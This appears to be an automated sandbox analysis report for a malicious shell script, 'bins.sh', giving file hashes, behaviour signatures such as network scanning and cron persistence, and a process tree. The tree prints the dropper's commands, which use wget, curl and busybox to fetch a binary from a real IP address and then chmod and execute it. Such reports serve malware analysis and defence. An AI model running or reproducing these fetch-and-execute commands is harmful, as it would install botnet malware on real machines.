Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

9

bins.sh

debian-9-armhf

9

bins.sh

debian-9-mips

8

bins.sh

debian-9-mipsel

8

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    21-11-2024 14:17

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General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    50c4968b81b3ca09b6c7a1261db236d2

  • SHA1

    0f7f226afb91914d7134093e008a540c6a13953e

  • SHA256

    7df8e8f253faed764b455004c890e264de892c7cccbd188de7d502b86c7baed9

  • SHA512

    1cae6e0acb90eac7827241f53f8a412caf5af16bc4ed63cb2d464f0b6585abbd6dd78c98775c3ad7df701f3be201c69ee11949f831cf4f7eb4c2942e9d5e5026

  • SSDEEP

    96:y3DNXls+h4y2LLML8LE77dwdYd8Xd5dVdMJfamC8H7TH/b3DNEFGlse8VxOonYfy:y3DNDh4y2/KaE78GJD3DNwDNKaE89

Score
9/10
defense_evasiondiscoveryexecutionmotwpersistencephishingprivilege_escalatio

Malware Config

Signatures

  • Contacts a large (2205) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Mark of the Web detected: This indicates that the page was originally saved or cloned. 3 IoCs
    phishingmotw
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1516
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1517
        • /usr/bin/wget
          wget http://216.126.231.240/bins/8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
          2⤵
          • Writes file to tmp directory
          PID:1518
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
          2⤵
          • Writes file to tmp directory
          PID:1522
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
          2⤵
          • Writes file to tmp directory
          PID:1523
        • /bin/chmod
          chmod 777 8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
          2⤵
          • File and Directory Permissions Modification
          PID:1524
        • /tmp/8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
          ./8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:1525
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:1527
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:1528
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:1529
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:1530
              • /bin/rm
                rm 8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
                2⤵
                  PID:1532
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo
                  2⤵
                    PID:1535

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                • /tmp/8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
                  Filesize

                  112KB

                  MD5

                  05d7857dcead18bbd86d2935f591873c

                  SHA1

                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                  SHA256

                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                  SHA512

                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                  Download Submit

                • /var/spool/cron/crontabs/tmp.mERk9L
                  Filesize

                  210B

                  MD5

                  55b8bd1adc7e95adfbf2e6a9bad1d334

                  SHA1

                  c2a47fdf38c52d704e67f21bcacf682ded75a710

                  SHA256

                  d05faa0e7a942f1af5a746817d215ce1973cff6ffc16feb5e4973685d68ba991

                  SHA512

                  ebabf81d4c03f83c0bcbb65c20149d3a8aa9b40eb2f12fb31e04b2c52c20019d22ab7af9451109cec1689f6c3647a33877456a0fc12ffb7d6f226cf90d39bf13

                  Download Submit